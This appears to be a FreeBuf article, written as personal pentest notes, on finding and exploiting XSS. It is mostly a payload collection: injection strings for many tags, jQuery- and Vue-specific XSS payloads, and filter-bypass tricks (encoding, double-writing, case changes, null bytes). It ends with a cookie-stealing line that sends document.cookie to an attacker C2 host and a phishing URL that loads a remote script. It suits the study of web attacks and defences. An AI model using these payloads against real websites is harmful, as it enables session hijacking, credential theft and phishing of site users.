freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

XSS攻击与利用
2021-08-03 17:52:14

前言

本文叙述了反射型、存储型XSS的探测方法和简单的利用方式,其中会涉及到jQuery和vue。

这篇文章作为个人笔记,因此内容可能并不全面,日后有接触新的方法会有补充。

探测方法

寻找xss需要查看网站源码,跟踪用户输入的变量,检查变量传递过程是否能够触发漏洞,过滤是否能绕过,现在的网站为了安全不会在标签处通过事件直接引用js function,而是在另外的js文件中通过框架找到元素再跟事件函数绑定,例如jQuery的选择器:$("input").on(change:function(){alert(1);});,vue的选择器:new Vue({el:"input",data:{msg:alert(1),}});,因此需要花时间去看js源码,研究如何将利用语句拼接到网页的js中。

首先输入特殊/敏感字符,探测过滤情况:

<script></script>"'();,.<img>#-{}[]!

根据结果挑选payload开始注入:

——普通

<script>[xss]</script>

——img标签,单引号或双引号

<img src="" onerror="[xss]"/>

——无需括号、分号

<script>onerror={[要调用的函数名]}throw [参数]</script>

——无需字母(运行函数为alert(1))

""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+(''+{})[5]+(!0+'')[0]+(''+{})[1]+(!0+'')[1]](((!1+"")[1]+(!1+"")[2]+(!0+"")[3]+(!0+"")[1]+(!0+"")[0])+"(1)")()

——svg标签

<svg/onload=[xss]>

——ifname标签

<iframe onload=[xss]>

——a标签,无需分号

<a href=javascript:[xss]>

——通过样式进行xss,IE7以下适用

<div STYLE="width: expression([xss]);">

——也是通过样式进行xss,这次是通过import加载远程css

<style>@import url("attackers url");</style>

——无触发点用accesskey,在火狐下hidden属性的input也可以用,通过alt+shift+x快捷键触发

<span id="span" accesskey='X' onclick='[xss]'></span>

反射型:

特征:不会保存到服务器,是一次性的攻击。

反射型的xss可以出现在页面的任何地方,包括请求头。

存储型:

特征:语句保存在服务器的数据库中,每次访问都会给客户端带来攻击。

这种类型的xss只会出现在服务端存储客户端发送的数据的接口。

jQuery:

jq是通过正则来过滤xss语句的,其中:

1.6.1版本:quickExpr = /^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/

1.7.2版本:quickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/

1.11.2版本:rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/

2.x~2.1.4版本:rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/

3.x~3.5.0版本:rxhtmlTag =/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi

在<1.7版本中location.hash这部分jq没有对其进行url编码处理,存在xss,payload如下:

#<img src=/ onerror=alert(1)>

#任意标签[class='<img src=/ onerror=alert(1)>']

3.x~3.5.0版本的xss则出现在$.htmlPrefilter()方法中,这个方法被用来替换闭合标签,其中的正则rxhtmlTag会将x"识别成标签并且新增</x">闭合,最后payload作为属性出现,绕过了sanitize规则,从而造成xss,payload:

<img alt="<x" title="/><img src=xοnerrοr=alert(1)>

vue:

vue框架下的xss主要出现在v-html和{{}}下,前者用于输出html,后者则是mustache语法,看下面的例子,vue通过选择器el更改attackOne和attackTwo的内容,如果没限制attackOne的输入就会造成模板注入,而v-html则会直接渲染attackTwo,用户可控的话会造成xss。

<div name="test">
    {{attackOne}}
    <span v-html="attackTwo"></span>
</div>
<script>
    new Vue({
        el: "div[name='test']",
    data:{
        attackOne:alert(1),
        attackTwo:"<img src=x onerror=alert(2) />",
        }
    });
</script>

绕过

这里以a标签和经典的script标签为例,payload原型如下:

<script>alert('xss')</script>

下面是一些绕过的姿势:

//字符编码

%3cscript%3ealert(/xss/)%3c/script%3e

//长度限制

<script><!--

-->alert(1)<!--

--></script>

//双写绕过

<scr<script>ipt>alert('xss')</sc</script>ript>

//大小写绕过

<ScRipT>alert('xss')</sCRiPt>

//尝试其他标签、属性、事件

<img src="" onerror="alert('xss')"/>

<div STYLE="width: expression('xss');">

<iframe onload='xss'>

//伪协议

<a href=javascript:alert('xss')>

//过滤圆括号

<a οnmοuseοver="javascript:window.οnerrοr=alert;throw 1">

<body/οnlοad=javascript:window.οnerrοr=eval;throw&#039;=alert\x281\x29&#039;;

//过滤();:

<svg><script>alert(/1/)</script>

//标签语法bug,<%, <//, <!,<?<%, <//, <!,<?能被解析成<

<!--[if]><script>alert('xss')</script     -->

//空字节绕过

<scri\x00pt>alert('xss');</scri%00pt>

<scri%00pt>alert('xss');</scri%00pt>

//window.name欺骗

<iframesrc=&#039; http://www.target.com?foo="xss autofocus/AAAAA  οnfοcus=location=window.name//&#039;
name="javascript:alert("XSS")"></iframe>

利用

窃取cookie,原理是获取客户端cookie然后直接发送到攻击者的c2:

document.location='http://myc2.com/getcookie?jcookie='+encodeURI(document.cookie);

钓鱼,其实就是让受害点击链接跳转到攻击者搭建的网站:

http://target.com/login?id=<script src='http://myc2.com/payload.js'></script>

# xss # 渗透测试
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录